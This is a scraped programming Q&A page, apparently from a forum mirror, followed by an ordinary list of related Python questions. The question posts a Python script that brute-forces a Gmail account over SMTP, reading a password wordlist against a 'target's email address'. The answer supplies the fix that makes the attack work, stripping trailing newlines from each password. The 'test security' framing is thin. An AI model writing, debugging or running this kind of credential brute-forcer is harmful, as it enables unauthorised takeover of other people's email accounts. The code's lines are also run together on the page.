Why Isnt my Gmail Account Bruteforcer Working? [closed]

2024/7/6 21:39:39

I recently have just finished my python google brute force to test security. I have put in the correct password for my account & with the email but it doesn't say that it's correct.

I dont think that it is because the checker is old. I think I may be doing something wrong with the port with the smtp.gmail.com

Here's my code

import smtplibsmtp_srverG= smtplib.SMTP('smtp.gmail.com', 587)
smtp_srverG.ehlo()
smtp_srverG.starttls()user = input("Enter the target's email address: ")
passwfile = input("Enter the password file name: ")
passwfile = open(passwfile, "r")for password in passwfile:try:smtp_srverG.login(user, password)print("[+] Password Found: %s" % password)break;except smtplib.SMTPAuthenticationError:print("[!] Password Incorrect: %s" % password)

Thanks

Some people have responded but haven't replied

Answer

When you use for password in passwfile to get the lines from a file, the lines will have a newline \n at the end.

You can use password = password.strip() at the top of the loop to remove the trailing newline:

for password in passwfile:password = password.strip()try:smtp_srverG.login(user, password)...
https://en.xdnf.cn/q/119671.html

Related Q&A

Python: Split Start and End Date into All Days Between Start and End Date

Ive got data called Planned Leave which includes Start Date, End Date, User ID and Leave Type.I want to be able to create a new data-frame which shows all days between Start and End Date, per User ID.S…

Python and java AES/ECB/PKCS5 encryption

JAVA VERSION:public class EncryptUtil {public static String AESEncode(String encodeRules, String content) {try {KeyGenerator keygen = KeyGenerator.getInstance("AES");keygen.init(128, new Secu…

How to find the center point of this rectangle

I am trying to find the center point of the green rectangle which is behind the fish, but my approach is not working. Here is my code:#Finding contours (almost always finds those 2 retangles + some noi…

Simple Battleships game implementation in Python

Okay Im not sure how to develop another board with hidden spaces for the computers ships per-se, and have it test for hits. Again Im not even sure how Im going to test for hits on the board I have now.…

How to remove WindowsPath and parantheses from a string [duplicate]

This question already has an answer here:Reference - What does this regex mean?(1 answer)Closed 4 years ago.I need to remove WindowsPath( and some of the closing parentheses ) from a directory string.…

How to escape escape-characters

I have a string variable which is not printing properly, I guess because it contains escape characters. How to escape these escape-characters?>>> print "[p{Aa}\\P{InBasic_Latin}\r\t\n]&q…

Python Multiprocessing a large dataframe on Linux

As shown in the title, I have a big data frame (df) that needs to be processed row-wise, as df is big (6 GB), I want to utilize the multiprocessing package of python to speed it up, below is a toy exam…

How to pass more arguments through tkinter bind

How do I pass more arguments through tkinters bind method? for the example:tk = Tk() def moveShip(event,key):if event.keysym == Down and player1.selectedCoord[1] != 9:if key == place:player1.selectedC…

Python Class method definition : unexpected indent [duplicate]

This question already has answers here:Im getting an IndentationError (or a TabError). How do I fix it?(6 answers)Closed 6 months ago.I am getting started with Django and Python so naturally Im doing …

pandas python - round() not behaving correctly

Im rounding values in a dataframe to 1 decimal place. Here is the dfVren 2015 Hsten 2014 Vren 2014 Question 1) Maten r vllagad oc…